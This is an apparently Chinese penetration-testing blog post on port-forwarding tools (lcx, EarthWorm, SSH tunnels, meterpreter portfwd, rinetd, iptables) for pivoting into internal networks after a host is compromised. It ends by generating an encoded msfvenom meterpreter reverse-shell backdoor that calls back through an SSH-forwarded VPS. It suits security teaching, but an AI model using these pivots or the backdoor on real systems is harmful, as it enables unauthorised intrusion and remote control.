标签归档:ssh隧道

端口转发工具梳理

在日常的渗透中,通常在获得一台机器的权限后,如果想访问该机器所在内网的某机器端口,最常用的就是端口转发,比如可以将3389转发到公网的VPS上。下面是不同平台下常用的工具。

Windows


1)lcx
公网VPS:
lcx -listen 2222 3333
2222为转发端口,3333为本机任意未被占用的端口

测试机:
lcx -slave x.x.x.x 2222 127.0.0.1 3389

2)EarthWorm
公网VPS:
ew_for_Win.exe -s lcx_listen -l 10800 -e 8080

测试机:
E:\>ew_for_Win.exe -s lcx_slave -d 192.168.190.201 -e 8080 -f 192.168.192.144 -g 22

Linux


1)SSH隧道
本地端口转发
ssh -qTfnN -L port:host:hostport user@remote_ip #正向隧道,监听本地port
参数详解:

-q Quiet mode. 安静模式
-T Disable pseudo-tty allocation. 不占用 shell 了
-f Requests ssh to go to background just before command execution. 后台运行,并推荐加上 -n 参数
-N Do not execute a remote command. 不执行远程命令,端口转发就用它了~

假定host1是本地主机,host2是远程主机。由于种种原因,这两台主机之间无法连通。但是,另外还有一台host3,可以同时连通前面两台主机。
我们在host1执行下面的命令:

[vincent@vincent rinetd]$ ssh -qTfnN -L 2345:192.168.192.120:22 root@172.16.100.167

其中:
host2 IP:192.168.192.120
host3 IP:172.16.100.167
命令中的L参数一共接受三个值,分别是”本地端口:目标主机:目标主机端口”,它们之间用冒号分隔。
然后看下host1的监听:

[vincent@vincent rinetd]$ netstat -ano | grep 2345
tcp 0 0 127.0.0.1:2345 0.0.0.0:* LISTEN off (0.00/0/0)

然后连接本地的2345端口即可访问host2的SSH

远程端口转发
ssh -qTfnN -R port:host:hostport user@remote_ip #反向隧道,用于内网穿透防火墙限制之类
host1 IP:192.168.192.120
host2 IP:172.16.100.167
host1与host2之间无法连通,必须借助host3转发。但是,如果host3是一台内网机器,它可以连接外网的host1,但是反过来就不行,外网的host1连不上内网的host3。
我们在host3执行下面的命令:

ssh -qTfnN -R 2345:172.16.100.167:22 root@192.168.192.120

其中2345为host1的监听端口,22为host2的转发端口。
然后我们看host1的监听端口:

[root@server120 rinetd]# netstat -ano | grep 2345
tcp 0 0 127.0.0.1:2345 0.0.0.0:* LISTEN off (0.00/0/0)

此时我们通过ssh连接本地的2345端口即可访问host2的ssh。
看一下host3的进程:

[root@vincent rinetd]# ps axu | grep ssh | grep 2345
root 80061 0.0 0.1 62296 1288 ? Ss 12:58 0:00 ssh -qTfnN -R 2345:172.16.100.167:22 root@192.168.192.120

对应的连接:

[root@vincent rinetd]# netstat -anlp | grep 80061
tcp 0 0 172.16.100.134:58166 192.168.192.120:22 ESTABLISHED 80061/ssh

2)EarthWorm
公网VPS:

./ew -s lcx_listen -l 10800 -e 888

测试机:

./ew_for_linux64 -s lcx_slave -d 198.98.112.112 -e 888 -f 192.168.192.144 -g 8888

3)meterpreter

meterpreter > portfwd add -l 4444 -p 3389 -r 172.16.100.131
[*] Local TCP relay created: 0.0.0.0:4444 <-> 172.16.100.131:3389

meterpreter > portfwd add -L 172.16.0.20 -l 2323 -p 80 -r 7.7.7.20
[*] Local TCP relay created: 172.16.0.20:2323 <-> 7.7.7.20:80

4)rinetd

wget http://www.boutell.com/rinetd/http/rinetd.tar.gz
tar -zxvf rinetd.tar.gz

[root@vincent rinetd]# make
cc -DLINUX -g -c -o rinetd.o rinetd.c
rinetd.c:176: 警告:与内建函数‘log’类型冲突
cc -DLINUX -g -c -o match.o match.c
gcc rinetd.o match.o -o rinetd

[root@vincent rinetd]# make install
install -m 700 rinetd /usr/sbin
install -m 644 rinetd.8 /usr/man/man8
install: 无法创建普通文件"/usr/man/man8": 没有那个文件或目录
make: *** [install] 错误 1

运行make可能会出现错误,需如下修改,将rinetd.c文件中bindPort >= 65536和connectPort >= 65536修改为65535,不然在make的时候会提示超出系统最大定义端口。
手动建目录/usr/man/

[root@vincent rinetd]# make install
install -m 700 rinetd /usr/sbin
install -m 644 rinetd.8 /usr/man/man8

建立配置文件/etc/rinetd.conf,内容格式:源IP 源端口 要跳转的IP 要跳转的端口。我们来添加一条

allow 192.168.190.201 #设置允许连接的IP
0.0.0.0 2222 192.168.192.122 3389
[root@vincent rinetd]# ./rinetd -c /etc/rinetd.conf

看一下本地监听端口

[root@vincent rinetd]# netstat -ano | grep 2222
tcp 0 0 0.0.0.0:2222 0.0.0.0:* LISTEN off (0.00/0/0)

然后我们使用192.168.190.201连接本机的2222端口,就可以登录192.168.192.122远程桌面

5)Iptables
需要有Root权限
首先启用网卡转发功能

[root@linux-node1 ~]# vim /etc/sysctl.conf
..........
net.ipv4.ip_forward = 1

PREROUTING是目的地址转换,要把别人的公网IP换成你们内部的IP,才让访问到你们内部受防火墙保护的机器。
POSTROUTING是源地址转换,要把你的内网地址转换成公网地址才能让你上网。
源地址发送数据–> {PREROUTING–>路由规则–>POSTROUTING} –>目的地址接收到数据

这里将访问192.168.192.120 1080 转到 192.168.192.144 22端口

iptables -t nat -A PREROUTING -p tcp -m tcp --dport 1080 -j DNAT --to-destination 192.168.192.144:22 
iptables -t nat -A POSTROUTING -d 192.168.192.144 -p tcp -m tcp --dport 22 -j SNAT --to-source 192.168.192.120

 

[root@server120 source]# iptables -t nat -L -vn
Chain PREROUTING (policy ACCEPT 505 packets, 93775 bytes)
pkts bytes target prot opt in out source destination 
1 52 DNAT tcp -- * * 0.0.0.0/0 0.0.0.0/0 tcp dpt:1080 to:192.168.192.144:22

Chain POSTROUTING (policy ACCEPT 31 packets, 1739 bytes)
pkts bytes target prot opt in out source destination 
1 52 SNAT tcp -- * * 0.0.0.0/0 192.168.192.144 tcp dpt:22 to:192.168.192.120

Chain OUTPUT (policy ACCEPT 31 packets, 1739 bytes)
pkts bytes target prot opt in out source destination

 

清空配置

iptables -t nat -F

 

端口转发的应用案例:

公网的VPS上没有msf的话,我们可以利用ssh隧道的端口转发功能,来使用本地的msf。
首先修改VPS的配置
编辑 /etc/ssh/sshd_config
在文件最后添加:
GatewayPorts yes
GatewayPorts是否允许远程主机连接本地的转发端口.默认值是”no”.
sshd 默认将远程端口转发绑定到loopback地址.这样将阻止其它远程主机连接到转发端口。
GatewayPorts 指令可以让 sshd 将远程端口转发绑定到非loopback地址,这样就可以允许远程主机连接了。

首先在本地执行

ssh -qTfnN -R 2345:172.16.100.128:2345 root@172.16.100.134

转发本地的2345端口到172.16.100.134的2345端口。
来查看一下172.16.100.134的连接

[root@vincent rinetd]# netstat -anlp | grep 2345
tcp 0 0 0.0.0.0:2345 0.0.0.0:* LISTEN 83417/sshd

发现2345端口是监听在0.0.0.0的,而如果没有GatewayPorts no的话则是监听在127.0.0.1的,仅允许本地连接。
然后我们生成一个后门

root@kali-vincent:~# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=172.16.100.134 LPORT=2345 -f exe -o abc.exe

然后我们在windows上运行一下这个后门,就可以直接在本地获取到meterpreter。